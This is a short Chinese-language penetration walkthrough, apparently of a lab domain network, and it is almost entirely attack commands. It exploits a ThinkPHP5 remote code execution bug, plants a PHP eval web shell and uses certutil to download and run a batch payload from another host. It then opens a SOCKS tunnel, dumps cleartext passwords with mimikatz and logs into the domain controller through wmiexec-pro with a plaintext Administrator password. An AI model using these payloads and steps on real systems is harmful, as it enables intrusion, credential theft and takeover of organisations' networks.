服务器渗透
信息收集
nmap -sV -n -v 192.168.3.1/24
访问192.168.3.6的80端口,发现是thinkphp5,存在RCE漏洞,利用方式
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
GetShell
http://192.168.3.6/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3c%3fphp+%40eval(%24_POST%5b%27cmd%27%5d)%3b%3f%3e
蚁剑连接地址http://192.168.3.6/shell.php
,连接密码cmd
查网络配置
连接后执行
ipconfig /all
发现在域中,有一张内网网卡
ping sun.com
域控DC为192.168.138.138
VShell连接和开隧道
在蚁剑中执行上线命令
certutil.exe -urlcache -split -f http://192.168.3.3:10012/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat
上线成功,开启隧道,端口6005,并且配置/etc/proxychains.conf的socks5
获取明文密码
将mimikatz.exe上传到靶机,并且执行下面命令
mimikatz.exe log privilege::debug sekurlsa::logonpasswords
内网渗透
wmiexec-pro登录DC
proxychains4 python3 wmiexec-pro.py 'Administrator:dc123.com@192.168.138.138' exec-command -shell